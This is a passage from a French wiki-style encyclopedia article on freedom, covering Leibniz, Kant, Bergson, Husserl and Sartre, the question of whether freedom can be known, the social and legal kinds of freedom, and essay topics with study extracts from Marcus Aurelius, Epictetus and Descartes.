ainsi une réconciliation entre déterminisme et liberté. Sa critique repose sur quelques grands [[principe]]s : *Le principe de l'identité des indiscernables. Selon ce principe, deux êtres indiscernables sont identiques ; deux êtres différents doivent différer, ne serait-ce que par de petites différences inaperçues. Leibniz distingue ici l'aperception et les perceptions : **l'aperception est la conscience claire et distincte d'un objet ; **les perceptions peuvent être inconscientes et influencer notre arbitre à notre insu. Pour Leibniz, l'aperception est la synthèse des petites perceptions, insensibles chacune en elle-même. L'[[inconscient]] leibnizien est donc fait de ces petites perceptions. *Le principe de raison suffisante : il y a toujours une raison qui explique pourquoi un phénomène est ou n'est pas, et pourquoi il est ainsi et pas autrement. Par conséquent, il n'y a pas de liberté d'indifférence, car l'arbitre ne peut être dans un état d'équilibre entre deux objets puisqu'ils ne sont pas identiques. Il est impossible d'agir sans motif : notre comportement est donc nécessairment déterminé. Agir sans [[raison]] serait une imperfection, un [[acte]] aléatoire. Ainsi, être libre, c'est agir selon la plus parfaite des raisons que l'on puisse concevoir. La liberté est la plénitude d'une détermination rationnelle. Pourtant, cette surdétermination n'est-elle pas une aliénation ? La liberté étant en effet la plus parfaite raison, n'est-ce pas nier l'autodétermination du sujet ? Il faut, selon Leibniz, distinguer le certain du nécessaire : il est certain que le sage agira pour le mieux, mais ce n'est pas nécessaire. La certitude n'implique pas la nécessité : l'obligation [[morale]] n'est pas nécessaire. Cette conception de la liberté s'oppose à la conception [[scolastique]] : la philosophie des facultés hypostasie les facultés, elle pose en [[substance]] ce qui est en [[acte]] ; en disant que la volonté choisit, on lui prête une faculté qui appartient à l'[[entendement]]. Il n'y a donc pas de distinction entre [[volonté]] et entendement. La [[définition]] [[scolastique]] se réfute elle-même, c'est un schéma absurde. Pour Leibniz en effet, la volonté n'est jamais que l'intelligence qui choisit : la liberté appartient à la raison, et c'est '''la faculté du meilleur choix possible'''. Autrement dit c'est une '''autodétermination optimale.''' En résumé, on ne peut choisir entre liberté métaphysique et [[déterminisme]], car la liberté suppose la détermination. ====[[Emmanuel Kant]]==== La philosophie kantienne de la liberté peut être résumée ainsi : la loi morale est la ''ratio cognoscendi'' de la liberté ; la liberté est la ''ratio essendi'' de la loi morale.<br> La liberté est pensée par [[Kant]] comme l'autonomie d'un sujet rationnel ; son champ est uniquement pratique. En effet, la soumission à la loi morale, pour être morale, doit être le fait d'une volonté pure. Or, seule peut être dite pure et bonne une volonté débarassée des influences de la sensibilité. En conséquence, l'accomplissement de la [[loi]] morale (impératif catégorique) est liberté : c'est la libre soumission de la [[volonté]]. ====[[Henri Bergson]]==== :(...) ''il faut chercher la liberté dans une certaine nuance ou qualité de l'action même, et non dans un rapport de cet acte avec ce qu'il n'est pas ou avec ce qu'il aurait pu être.'' :''On appelle liberté le rapport du moi concret à l'acte qu'il accomplit. Ce rapport est indéfinissable, précisément parce que nous sommes libres. On analyse, en effet, une chose, mais non pas un progrès ; on décompose de l'étendue, mais non pas de la durée. Ou bien, si l'on s'obstine à analyser quand même, on transforme inconsciemment le progrès en chose, et la durée en étendue. Par cela seul qu'on prétend décomposer le temps concret, on en déroule les moments dans l'espace homogène ; à la place du fait s'accomplissant on met le fait accompli, et comme on a commencé par figer en quelque sorte l'activité du moi, on voit la spontanéité se résoudre en inertie et la liberté en nécessité. - C'est pourquoi toute définition de la liberté donnera raison au déterminisme.'' ====[[Phénoménologie]] de la liberté==== A la fin du [[XIXe siècle|XIX<sup>e</sup> siècle]], la [[psychologie]] se cherche un statut scientifique. Ce statut implique un déterminisme psychophysiologique. Contre ce courant, [[Edmund Husserl]] va tenter de marquer les limites du point de vue naturaliste : celui-ci, selon Husserl, ne suffit pas à épuiser la [[réalité]] de l'[[esprit]]. Seul le point de vue de l'esprit sur lui-même peut en dévoiler l'[[concept d'essence|essence]] vrai. Il cherche alors à établir des rapports psychophysiques permettant à l'esprit d'agir sur le monde par son [[corps propre]], en affirmant ainsi la transcendance de l'ego. Deux aspects fondamentaux de la [[phénoménologie]] pour comprendre la liberté : *l'épokhè, ou réduction du monde ; *la constitution du monde. Dans l'épokhè, il s'agit pour la conscience d'éliminer de son champ tout ce qui ne lui est pas immédiatement connu. On a là le cogito et la [[métaphysique]] de [[Descartes]]. Il s'agit de faire apparaître ce qui constitue en propre la conscience. Et ce qui résiste, c'est la conscience constitutive de tout sens, objet ou être. En plaçant entre parenthèses le monde objectif, l'épokhè relativise radicalement la psychophysiologie, pour atteindre une subjectivité trancendantale. Ainsi, loin d'être déterminée par un [[objet]], la [[conscience]] investit l'objet de sens. Dans la réduction, l'idée de nature objective peut donc être écartée, car elle n'appartient pas à la conscience. L'épokhè dévoile la conscience comme un absolu irréductible et le [[monde]] objectif comme un terme relatif. Cette thèse permet à [[Edmund Husserl]] de rejeter l'idée d'une détermination des états de la [[conscience]] par les variations de l'organe central de la perception, le [[cerveau]]. Il admet pourtant que la conscience s'appuie sur un sousbassement sensible, et qu'elle peut même être conditionnée par certains processus physiques dans son activité perceptive. Mais il y a des limites à cette dépendance, car, comme l'épokhè l'a montré, on ne peut réduire la conscience : on ne peut faire l'économie de son point de vue sur elle-même dans lequel il n'entre aucun donné objectif. Cette thèse peut être développée suivant deux aspects qui donne un statut transcendantal à la liberté : '''1.''' Il y a d'abord les phénomènes de la rétention, de l'attention, comme la saisie d'un sens spirituel dans l'objet sensible : l'[[esprit]] n'est pas un appareil perceptif passif, mais a une spontanéité propre intentionnelle. Par exemple, une livre n'est pas qu'un ensemble de formes imprimées, car ces formes ont un sens pour la conscience. Il n'y a donc pas de détermination mécanique des formes objectives, mais une signification inspirée de ces formes. Ce ne sont pas les données sensibles qui importent, mais les symboles que la conscience y trouve : c'est une activité intentionnelle du sujet, une projection dans l'objet. Cette activité isole des éléments, et en néglige d'autres. Mon intention constitue l'objet comme objet spirituel. '''2.''' Cette thèse implique ensuite une situation de la conscience dans le monde : pour la [[phénoménologie]], la conscience est déterminée par le monde, mais c'est du monde environnant constitué par elle qu'il s'agit, et non du monde objectif. Ainsi rendra-t-on compte du l'action humaine par le monde subjectif : c'est moi qui détermine le monde. Le principe de la liberté humaine sera alors une loi intérieure à la conscience. Ce rapport de la conscience à son monde renverse la dépendance classique entre l'objet et le sujet, puisque l'esprit est conditionné en tant qu'il constitue le monde. Cette position permet néanmoins de naturaliser l'esprit, mais pas d'une manière unilatérale : il y a un rapport réciproque nature / conscience. Dès lors, le lieu de réalisation de la liberté sera le corps propre, c'est-à-dire non pas le corps en tant qu'il est connu par la science, mais le corps organique éprouvé par la conscience. Ce corps est comme l'interface entre le monde de l'esprit et celui de la nature. Le corps propre c'est la causalité spirituelle, le lieu où l'esprit s'objective et se réalise dans le monde. En conclusion, cet ensemble de réflexions sur la conscience et le corps propre fait que la liberté transcendantale est bien dans la lignée de la métaphysique classique, car elle oppose, comme il a été vu plus haut, la raison à la sensibilité. '''La liberté est en effet l'indépendance transcendantale de la conscience''' : elle s'établit sur les ruines du déterminisme, car la spontanéïté du sujet est irréductible. =====[[Sartre]]===== Pour Sartre, la liberté transcendantale de l'ego est rendue manifeste par l'[[imagination]]. Cette dernière suppose en effet que la conscience soit douée de liberté : *La néantisation du monde impliquée par une telle [[conscience]] capable d'imaginer rend possible un écart par rapport au monde objectif ; sans cet écart, nous resterions ''englués'' dans "l'en-soi" et entièrement déterminés. *L'imaginaire permet de se donner à soi-même un objet : la conscience est donc totalement compromise dans la constitution du "monde". La néantisation permet de conclure au primat de l'[[existence]] sur l'essence : la célèbre formule de Sartre selon laquelle "''l'existence précède l'essence''" signifie que l'individu n'est pas [[déterminisme|déterminé]] d'après un sens qui d'avance le définirait en le "chosifiant". Car si l'homme appartient à l'en-soi et à ce titre est une chose, il est aussi et avant tout un "existant", un être qui opère continuellement des ''choix''. La liberté est donc inhérente à l'existence humaine ; elle en est la condition. Être homme, c'est être "''condamné à être libre''", condamné à assumer son existence libre. Le "pour-soi" peut bien être facilement tenté par la ''mauvaise foi'', forme exemplaire de l'inauthenticité niant toute responsabilité : ''je n'y suis pour rien'', prétend-il alors ; c'est ''la faute'' des "autres", c'est ''à cause de'' telle ou telle passion qui s'est emparée de moi et à laquelle je n'ai pu résister, voire parce que Dieu ou "le destin" l'a ''voulu''... Mais l'homme n'est pas libre d'échapper à la liberté : refuser la liberté, c'est encore la refuser librement. Et s'abstenir de choisir, c'est encore faire un choix &minus; le choix de s'abstenir. Ainsi, à travers le suivisme ou la lâcheté prétendons-nous nier notre propre liberté &minus; comme par le fanatisme nous prétendons nier celle des autres. Mais la liberté nous colle pour ainsi dire à la peau : :"''Nous dirons donc que, pour le coupe-papier, l'essence — c'est-à-dire l'ensemble des recettes et des qualités qui permettent de le produire et de le définir — précède l'existence ; et ainsi la présence, en face de moi, de tel coupe-papier ou de tel livre est déterminée. Nous avons donc là une vision technique du monde, dans laquelle on peut dire que la production précède l'existence. ''[...]'' Nous voulons dire que l'homme existe d'abord, c'est-à-dire que l'homme est d'abord ce qui se jette vers un avenir, et ce qui est conscient de se projeter dans l'avenir. L'homme est d'abord un projet qui se vit subjectivement, au lieu d'être une mousse, une pourriture ou un chou-fleur ; rien n'existe préalablement à ce projet ; rien n'est au ciel intelligible, et l'homme sera d'abord ce qu'il aura projeté d'être.''" <p align="right">''L'existentialisme est un humanisme''</p> Certes, un projet peut bien se réaliser, mais il n'est plus alors un projet ; il relève désormais de l'en-soi. C'est pourquoi "''l'être du pour-soi est ce qu'il n'est pas et n'est pas ce qu'il est''". La réalité humaine implique donc toujours un écart au réel (à l'en-soi), et c'est précisément en quoi consiste la liberté. La ''raison'' peut bien prétendre le contraire et se présenter comme l'instrument de la délibération volontaire, seule manifestation de la liberté : en réalité, dit Sartre, "''la délibération volontaire est toujours truquée''" (''L'Être et le Néant''), car "''quand je délibère, les jeux sont faits''" : délibérer c'est en effet choisir de délibérer, avant même toute délibération. Par conséquent, la délibération, quand elle a lieu, arrive toujours en dernier : "''il y a ''[...]'' un choix de la délibération comme procédé qui m'annoncera ce que je projette, et par suite ce que je suis''". La liberté est donc tout entière dans ce choix originel qui oriente tout choix, quelque forme qu'il prenne finalement. Et la vraie liberté, évitant les nombreux pièges de l'attitude inauthentique, suppose de reconnaître et d'assumer ce caractère originel de l'existence. ====[[Wittgenstein]]==== ===Connaissance et expérience de la liberté, enjeux=== Les différentes conceptions vues ci-dessus nous font connaître plusieurs conceptions de la liberté. Mais le problème de savoir s'il y a quelque chose de tel que la liberté reste entier. Il y a un problème épistémique de la liberté, qui peut être envisagé d'un point de vue [[théorie|théorique]] et d'un point de vue pratique. ====La [[connaissance]] théorique de la liberté==== S'il y quelque chose comme la liberté, quelle sorte de chose est-ce ? Est-ce une [[substance]], une [[essence]], une [[faculté]], un [[acte]], etc. ? Les auteurs examinés plus haut nous ont déjà fourni quelques réponses possibles. Comment en a-t-on [[connaissance]] ? Avoir connaissance de quelque chose comme la liberté, cela ne suppose-t-il pas en même temps avoir la preuve de son existence ? La liberté serait donc dans ce cas observable et devrait faire partie des [[phénomène]]s. Pourtant si la liberté se manifeste en tant que phénomène empirique, il faut bien qu'elle se conforme aux [[loi]]s de la [[nature]]. Or, cela semble bien être une contradiction. Il semble que rien de tel que la liberté ne puisse être donné dans le monde ; mais il serait sans doute plus exacte de conclure que la liberté, comme objet de connaissance, nous échappe, et qu'elle n'est jamais un [[objet]] de notre [[expérience]]. Cette difficulté peut être contournée de plusieurs manières : *on peut nier le problème, en disant que la liberté n'existe pas. Le problème ne se pose donc pas, puisque dans cette perspective, il ne s'agit que d'un non sens métaphysique. Cette première solution implique que l'on réduise la [[volonté]] à une causalité naturelle, ou qu'on la nie ; par exemple, pour [[Friedrich Nietzsche]], il n'y a ni volonté ni non volonté, mais notre [[action]] n'est qu'une résultante de processus physiologiques. *mais on peut chercher à la sauver en en faisant un être transcendant l'expérience et une condition de cette expérience. Cette seconde solution paraît contradictoire : en faisant de la liberté un [[être]] transcendant, ne retire-t-on pas en fait à l'homme toute liberté en la situant au-delà de son expérience, bien qu'elle soit pensée comme une condition ? Elle semble inintelligible et l'on risque de ne plus savoir si l'on est libre ou non. La liberté, dans ce cas, peut faire l'objet d'une foi rationnelle, dans la mesure où nous jugeons qu'elle est une nécessité morale, et qu'on ne saurait s'en passer sans refuser du même coup toute dignité à l'homme. La liberté pourrait ainsi être comprise comme une illusion transcendantale, i. e. comme un concept de la raison que cette dernière ne peut pas ne pas penser, bien qu'aucun objet et aucune action ne viennent (et ne puissent) confirmer son existence. Le transcendantalisme et le déterminisme semblent donc s'entendre pour retirer la liberté de l'expérience humaine. ====L'expérience de la liberté==== Les problèmes théoriques soulevés par le [[concept]] de liberté amènent à se poser la question de savoir si la [[conscience]] de la liberté, ou l'expérience que nous en avons, porte d'une manière certaine sur une réalité ?<br> Si oui, à quelle genre de réalité a-t-on affaire ? L'expérience semble manquer de consistance pour le déterminer. En effet, si la conscience que nous avons de la liberté n'en est pas une connaissance, la liberté est soi une réalité métaphysique soit un concept vide.<br> Si conscience et connaissance sont deux choses différentes, avoir conscience de quelque chose ne garantit pas son existence. Il faut donc plus que la conscience pour savoir si effectivement nous sommes libres. Ainsi, il peut sembler que non, notre expérience de la liberté ne porte pas sur une liberté, mais sur un type d'être dont la [[nature]] est hors de notre portée.<br> C'est pourquoi, pour certains philosophes, vouloir prouver la liberté est une absurdité : ''un homme qui n'a pas l'esprit gâté, n'a pas besoin qu'on lui prouve son franc arbitre ; car il le sent.'' ([[Bossuet]]) ; et pour [[Leibniz]], la liberté fait l'objet ''d'un vif sentiment interne''. De même encore, [[Bergson]] en fait une donnée immédiate de la conscience. La liberté serait donc d'abord un objet d'une [[intuition]] immédiate et interne. Mais on retombe alors dans les difficultés évoquées au début de cette aticle : le sentiment de la liberté, ou son intuition, n'est ni clair ni probant. L'aliéné ou l'[[homme]] ivre peuvent s'imaginer agissant de leur propre chef ; bien plus, même un homme tenu pour sain d'[[esprit]] est susceptible de se faire de graves illusions sur son propre compte. C'est pourquoi le problème [[métaphysique]] de la liberté tire en fait son importance des enjeux moraux qui en découlent. ====Enjeux métaphysiques et moraux de la liberté==== L'ensemble de cette problématique et les différentes conceptions des [[philosophe]]s du passé permettent de voir plus précisemment en quoi la liberté est un concept [[métaphysique]] fondamental : ses conséquences [[morale]]s sont en effet considérables. *Etablir la possiblité de la liberté, c'est sauver la responsabilté et la valeur de l'homme, du moins dans une perspective humaniste. *La liberté, comme condition des notions morales, donne un sens aux choix moraux en [[bien]] comme en [[mal]] : ou, autrement dit, l'essence de la liberté, c'est le devoir. *La liberté, comme obligation, soumission à une loi que l'on se donne, découle du [[devoir]]. *La liberté donne un sens à l'existence humaine : renoncer à la liberté, c'est renoncer à la qualité d'[[homme]]. On voit bien ici en quoi une détermination [[métaphysique]], en apparence très spéculative et difficile, peut se montrer décisive pour la [[vie]], pour l'[[existence]] concrête. En effet, on pose ou on nie que la liberté soit un [[attribut]] essentiel : la liberté est ou non constitutive de la [[nature]] humaine. Nier la liberté, ce serait donc supprimer l'[[essence]] de l'homme. Pratiquement, la question serait de savoir si cela revient à dire que nier la liberté est une perspective dans laquelle on ne voit pas de contraintes [[morale]]s qui empêchent quiconque de nier aussi l'humanité d'un autre homme. "Tout est permis" dit Nietzsche, assumant cette négation anti-humaniste de l'essence de l'homme. Mais les [[doctrine]]s de ce genre ont-elles nécessairement ces conséquences ? Nier la liberté, cela implique-t-il qu'il ne soit pas interdit de nier, opprimer, torturer ou détruire l'autre ? Si, en effet, la liberté implique l'existence du [[devoir]] comme sa condition, sa suppression entraînerait peut-être la suppression d'une distinction entre le bien et le mal : :''Renoncer à sa liberté, c'est renoncer à sa qualité d'homme, aux droits de l'humanité, même à ses devoirs. Il n'y a nul dédommagement possible pour quiconque renonce à tout. Une telle renonciation est incompatible avec la nature de l'homme; et c'est ôter toute moralité à ses actions que d'ôter toute liberté à sa volonté. '' ([[Rousseau]], ''Le Contrat social''). <font id="ancre_2"> </font> ==Sociologie de la liberté== Sommes-nous plus libres sans les autres ? Comment penser la liberté par rapport aux libertés ? La liberté pour tous est-elle une véritable liberté ? La réalisation de la liberté, sa pratique politique, crée de nombreuses tensions. L'autonomie politique est incarnée par la figure du [[citoyen]], qui abandonne son indépendance naturelle pour se soumettre volontairement à des lois qui sont, au moins idéalement, les mêmes pour tous ([[Hobbes]], [[Rousseau]]). C'est à cette condition que, selon cette théorie, les hommes peuvent être libres ensemble. Mais les lois peuvent être ressenties comme une aliénation par les individus. === Le paradigme du "bon sauvage" === Il existe cependant un point de vue opposé à cette vision de l'éducation défendant les libertés. Ainsi au [[XVIIIe siècle|XVIII<sup>e</sup> siècle]], [[Charles de Secondat|Montesquieu]] défendait un [[paradigme]] du ''bon sauvage'', considérant l'[[éducation]] comme une domestication de l'homme, et la [[société]] comme un [[carcan]]. Ce point de vue, qui sera développé par [[Sigmund Freud]] dans son essai [[Malaise dans la civilisation]] (1929), a été discuté dès la [[Révolution française]]. Un ouvrage comme [[Sa majesté des mouches]] de [[William Golding]] suggère au contraire que l'homme privé des contraintes sociales n'en devient pas nécessairement meilleur. === Définitions === On distingue au niveau de l'individu plusieurs «&nbsp;types&nbsp;» de libertés : * la '''liberté naturelle''' : l'homme a le droit naturel d'employer ses facultés comme il l'entend ; * la '''liberté civile''' : elle s'inscrit dans le cadre d'un homme citoyen, étant libre de ses actes tant que ceux-ci ne sont pas contraire à la Loi, ou ne nuisent pas à autrui. Cette liberté est très délicate d'application, en particulier en ce qui concerne le droit de la [[concurrence]], puisque toute création de commerce nuit ''par principe'' aux commerces antérieurs existants dans le voisinage. On y associe souvent la maxime suivante : '''«&nbsp;La liberté des uns s'arrête là où commence celle des autres&nbsp;»''' ; * la '''liberté individuelle''' : dans la même optique que la précédente, elle reconnait à l'homme le droit d'aller et venir librement sur le territoire national, ce qui inclut la possibilité d'y entrer ou d'en sortir. Cette liberté a été étendue en Europe grâce aux [[Accords de Schengen|accords de Schengen]], permettant la libre circulation des personnes dans l'espace de la [[Communauté européenne|Communauté Européenne]] ; * la '''liberté de culte''' (ou liberté de conscience) : elle permet à chaque individu de pratiquer la religion de son choix, ou de ne pas avoir de croyance religieuse, ''dans la mesure où l'expression des croyances en question ""ne trouble pas l'ordre public''" (déclaration des droits de l'homme). * la '''liberté d'expression''' : elle permet à chacun d'exprimer ses pensées sans censure ''préalable'', mais non sans sanctions si cette liberté porte préjudice à quelqu'un. Elle va de pair avec la liberté de la presse, qui est celle d'un propriétaire de journal de dire ce qu'il veut dans son journal. Elle a subi un revers avec la [[loi Gayssot]], qui a ébrêché ce droit fondamental au nom de la lutte contre le [[négationnisme]]. Il faut toutefois observer que si cette loi n'est pas conforme à la déclaration des [[droits de l'homme]], elle a cependant été votée en France sans aucune voix d'opposition (ce qui est rarissime, la loi sur le [[RMI]] y constituant le seul autre exemple connu). * la '''liberté économique''' : elle permet à chacun de percevoir des revenus et de dépenser ces revenus : liberté de travailler et de consommer. Ce droit reste évidemment bien théorique lorsque la conjoncture ne permet pas à tous de trouver un emploi, mais précise au moins que nul ne peut se voir refuser ''par principe'' un emploi pour des considérations autres que de qualification professionnelle (par exemple sexe, origine ethnique, âge ou religion). ==== "Liberté de penser" ==== On désigne parfois en abrégé sous le terme de "liberté de penser" la liberté de ''communiquer ses pensées''. Dans l'état ''actuel'' de la technique, il est n'est en effet pas possible actuellement d'emùpêcher qui que ce soit de penser quoi que ce soit (voir tout le même l'article [[Minority report]]). === De la Liberté aux droits de l'homme === Le [[mouvement ouvrier]], au [[XIXe siècle|XIX<sup>e</sup> siècle]], ajoutera la distinction entre la [[liberté formelle]] et la liberté réelle. Car la liberté existe aussi à un niveau plus global, plus collectif, avec par exemple la liberté de la presse, qui permet une libre publication, c'est à dire sans subir de censure arbitraire ou autoritaire. Les différentes libertés collectives : * la '''liberté de la presse''' : elle permet à chacun de publier librement ses pensées ou ses opinions, sans être sujet à la censure ou à tout autre mesure arbitraire ou autoritaire ; * la '''liberté de réunion''' : elle permet aux individus de se réunir librement pour débattre de leurs opinions ; * la '''liberté syndicale''' : elle permet aux salariés de former et d'adhérer ou non à des [[Syndicat professionnel|organisations syndicales]] pour les représenter et faire valoir leurs droits. * la '''liberté économique''' : elle permet la création d'entreprises. * la '''liberté de moeurs''' : elle permet a chacun de vivre sa sexualité comme il l'entend. Paradoxalement, la notion de liberté peut parfois à ce niveau, nuire à la liberté de l'individu. Comme dans le cas de la liberté de la presse, par exemple. Ainsi les moyens techniques et financiers importants nécessaires aujourd'hui aux organes d'information, en particulier [[radio|radiophonique]]s ou [[audiovisuel]]s, tendent à la formation de [[cartel]]s pratiquant l'[[autocensure]], réduisant par là même le pouvoir de contrôle et de critique de l'individu sur ces vecteurs d'information... L'abolition de la [[censure]] n'est donc plus un gage de liberté, car si les publications ne sont plus soumises à des décisions arbitraires, les vecteurs de l'information deviennent en revanche de moins en moins accessibles à la grande masse des individus, réduisant de ce fait leur capacité à exprimer leurs opinions, ainsi que la variété des points de vue exposés. C'est pour cette raison que la presse est considérée comme le quatrième pouvoir (à l'instar des pouvoirs exécutif, législatif et judiciaire). Dans cette même optique, les [[brevet logiciel en Europe|brevets logiciels]], qui entraineraient la formation de [[trust]]s surpuissant juridiquement, seraient une négation des libertés individuelles. Alors que des mouvements tels l'[[Open Source]] ou [[Logiciel libre]] tendent à favoriser l'accès à la connaissance et aux techniques de manière universelle, ce qui, à l'heure de la [[Mondialisation|mondialisation]], représente un élément primordial pour la défense des libertés individuelles dans les pays émergents, les rendant techniquement indépendants des pays «&nbsp;déjà développés&nbsp;». == Sujets de dissertation == *Agir spontanément, est-ce agir librement ? *Faut-il apprendre à être libre ? *Suffit-il d'être soi-même pour être libre ? *Être libre, est-ce n'obéir qu'à soi-même ? *Peut-on forcer quelqu'un à être libre ? *L'obéissance est-elle incompatible avec la liberté ? *Peut-on être esclave de soi-même ? *Peut-on prouver la liberté ? *Peut-on confondre la liberté avec le sentiment d'être libre ? == Textes d'étude == MARC-AURELE La plupart des hommes cherchent la solitude dans les champs, sur des rivages, sur des collines. C'est aussi ce que tu recherches ordinairement avec le plus d'ardeur. Mais c'est un goût très vulgaire. Il ne tient qu'à toi de te retirer à toute heure au-dedans de toi-même. Il n'y a aucune retraite où un homme puisse être plus en repos et plus libre que dans l'intérieur de son âme; principalement s'il y a mis de ces choses précieuses qu'on ne peut revoir et considérer sans se trouver aussitôt dans un calme parfait, qui est, selon moi, l'état habituel d'une âme où tout a été mis en bon ordre et à sa place. Jouis donc très souvent de cette solitude, et reprends-y de nouvelles forces. Mais aussi fournis-la de ces maximes courtes et élémentaires, dont le seul ressouvenir puisse dissiper sur-le-champ tes inquiétudes, et te renvoyer en état de soutenir sans trouble tout ce que tu retrouveras. Car enfin, qu'est-ce qui te fait de la peine ? Est-ce la méchanceté des hommes ? Mais rappelle-toi ces vérités-ci : que tous les êtres pensants ont été faits pour se supporter les uns les autres; que cette patience fait partie de la justice qu'ils se doivent réciproquement; qu'ils ne font pas le mal parce qu'ils veulent le mal. D'ailleurs à quoi a-t-il servi à tant d'hommes, qui maintenant sont au tombeau, réduits en cendres, d'avoir eu des inimitiés, des soupçons, des haines, des querelles ? Cesse donc enfin de te tourmenter. Te plains-tu encore du lot d'événements que la cause universelle t'a départi ? Rappelle-toi ces alternatives de raisonnement : ou c'est la providence, ou c'est le mouvement fortuit des atomes qui t'amène tout; ou enfin il t'a été démontré que le monde est une grande ville... Mais tu es importuné par les sensations du corps ? Songe que notre entendement ne prend point de part aux impressions douces ou rudes que l'âme animale éprouve, sitôt qu'il s’est une fois renfermé chez lui, et qu'il a reconnu ses propres forces. Au surplus, rappelle-toi encore tout ce qu'on t'a enseigné sur la volupté et la douleur, et que tu as reconnu pour vrai. Mais ce sera peut-être un désir de vaine gloire qui viendra t'agiter. Considère la rapidité avec laquelle toutes choses tombent dans l'oubli; cet abîme immense de l'éternité qui t'a précédé et qui te suivra; combien un simple retentissement de bruit est peu de choses; la diversité et la folie des idées que l'on prend de nous; enfin la petitesse du cercle où ce bruit s'étend. Car la terre entière n'est qu'un point de l'univers; ce qui en est habité n'est qu'un coin du monde; et dans ce coin-là même, combien auras-tu de panégyristes, et de quelle valeur ? Souviens-toi donc de te retirer ainsi dans cette petite partie de nous-mêmes. Ne te trouble de rien; ne fais point d'efforts violents; mais demeure libre. Regarde toutes choses avec une fermeté mâle, en homme, en en citoyen, en être destiné à mourir. Surtout, lorsque tu feras dans ton âme la revue de tes maximes, arrête-toi sur ces deux : l'une, que les objets ne touchent point notre âme, qu'ils se tiennent immobiles hors d'elle, et que son trouble ne vient jamais que des opinions qu'elle se fait au-dedans; l'autre, que tout ce que tu vois va changer dans un moment, et ne sera plus ce qu'il était. N'oublie jamais combien il est arrivé déjà de révolutions, ou en toi, ou sous tes yeux. «Le monde n'est que changement; la vie n'est qu'opinion». Pensées, livre IV, art. 3, EPICTETE 1. De toutes les choses du monde, les unes dépendent de nous, les autres n'en dépendent pas. Celles qui en dépendent sont nos opinions, nos mouvements, nos désirs, nos inclinations, nos aversions; en un mot, toutes nos actions. 2. Celles qui ne dépendent point de nous sont le corps, les biens, la réputation, les dignités; en un mot, toutes les choses qui ne sont pas du nombre de nos actions. 3. Les choses qui dépendent de nous sont libres par leur nature, rien ne peut ni les arrêter, ni leur faire obstacle; celles qui n'en dépendent pas sont faibles, esclaves, dépendantes, sujettes à mille obstacles et à mille inconvénients, et entièrement étrangères. 4. Souviens-toi donc que, si tu crois libres les choses qui de leur nature sont esclaves, et propres à toi celles qui dépendent d'autrui, tu rencontreras à chaque pas des obstacles, tu seras affligé, troublé, et tu te plaindras des dieux et des hommes. Au lieu que si tu crois tien ce qui t'appartient en propre, et étranger ce qui est à autrui, jamais personne ne te forcera à faire ce que tu ne veux point, ni ne t'empêchera de faire ce que tu veux; tu ne te plaindras de personne; tu n'accuseras personne; tu ne feras rien, pas même la plus petite chose, malgré toi; personne ne te fera aucun mal, et tu n'auras point d'ennemi, car il ne t'arrivera rien de nuisible. 5. Aspirant donc à de si grands biens, souviens-toi que tu ne dois pas travailler médiocrement pour les acquérir, et que, en ce qui concerne les choses extérieures, tu dois entièrement renoncer aux unes, et remettre les autres à un autre temps. Car si tu cherches à les accorder ensemble, et que tu poursuives et ces véritables biens et les richesses et les dignités, peut-être n'obtiendras-tu même pas ces dernières, pour avoir désiré les autres; mais certainement tu manqueras d'acquérir les biens qui peuvent seuls faire ta liberté et ton bonheur. 6. Ainsi, devant toute imagination pénible, sois prêt à dire : «Tu n'es qu'une imagination, et nullement ce que tu parais.» Ensuite, examine-la bien, approfondis-la, et, pour la sonder, sers-toi des règles que tu as apprises, surtout de la première, qui est de savoir si la chose qui te fait de la peine est du nombre de celles qui dépendent de nous, ou de celles qui n'en dépendent pas; et si elle est du nombre de celles qui ne sont pas en notre pouvoir, dis-toi sans balancer : «Cela ne me regarde pas.» Manuel (publié par Arrien au IIe siècle), Maxime I, EPICTETE II. Souviens-toi que la fin de tes désirs, c'est d'obtenir ce que tu désires, et que la fin de tes craintes, c'est d'éviter ce que tu crains. Celui qui n'obtient pas ce qu'il désire est malheureux, et celui qui tombe dans ce qu'il craint est misérable. Si tu n'as donc de l'aversion que pour ce qui est contraire à ton véritable bien, et qui dépend de toi, tu ne tomberas jamais dans ce que tu crains. Mais si tu crains la mort, la maladie ou la pauvreté, tu seras misérable. Transporte donc tes craintes, et fais-les tomber des choses qui ne dépendent point de nous, sur celles qui en dépendent; et, pour tes désirs, supprime-les entièrement pour le moment. Car si tu désires quelqu'une des choses qui ne sont pas en notre pouvoir, tu seras nécessairement malheureux; et, pour les choses qui sont en notre pouvoir, tu n'es pas encore en état de connaître celles qu'il est bon de désirer. En attendant donc que tu le sois, contente-toi de rechercher ou de fuir les choses, mais doucement, toujours avec des réserves, et sans te hâter. VIII. Ne demande point que les choses arrivent comme tu les désires, mais désire qu'elles arrivent comme elles arrivent, et tu prospéreras toujours. XIV. Si tu veux que tes enfants et ta femme et tes amis vivent toujours, tu es fou; car tu veux que les choses qui ne dépendent point de toi en dépendent, et que ce qui est à autrui soit à toi. De même, si tu veux que ton esclave ne fasse jamais de faute, tu es fou; car tu veux que le vice ne soit plus vice, mais autre chose. Veux-tu n'être pas frustré dans tes désirs ? Tu le peux : ne désire que ce qui dépend de toi. Le véritable maître de chacun de nous est celui qui a le pouvoir de nous donner ou de nous ôter ce que nous voulons ou ne voulons pas. Que tout homme donc, qui veut être libre, ne veuille et ne fuie rien de tout ce qui dépend des autres, sinon il sera nécessairement esclave. XV. Souviens-toi que tu dois te conduire dans la vie comme dans un festin. Un plat est-il venu jusqu'à toi ? Étendant ta main avec décence, prends-en modestement. Le retire-t-on ? Ne le retiens point. N'est-il point encore venu ? N'étends pas au loin ton désir, mais attends que le plat arrive enfin de ton côté. Uses-en ainsi avec des enfants, avec une femme, avec les charges et les dignités, avec les richesses, et tu seras digne d'être admis à la table même des dieux. Et si tu ne prends pas ce qu'on t'offre, mais le rejettes et le méprises, alors tu ne seras pas seulement le convive des dieux, mais leur égal, et tu régneras avec eux. C'est en agissant ainsi que Diogène, Héraclite et quelques autres ont mérité d'être appelés des hommes divins, comme ils l'étaient en effet. Manuel (publié par Arrien au IIe siècle), Maximes II, VIII, XIV et XV DESCARTES Ma troisième maxime était de tâcher toujours plutôt à me vaincre que la fortune, et à changer mes désirs que l'ordre du monde; et généralement, de m'accoutumer à croire qu'il n'y a rien qui soit entièrement en notre pouvoir que nos pensées, en sorte qu'après que nous avons fait notre mieux touchant les choses qui nous sont extérieures, tout ce qui manque de nous réussir est, au regard de nous, absolument impossible. Et ceci seul me semblait être suffisant pour m'empêcher de rien désirer à l'avenir que je n'acquisse, et ainsi pour me rendre content. Car notre volonté ne se portant naturellement à désirer que les choses que notre entendement lui représente en quelque façon comme possibles, 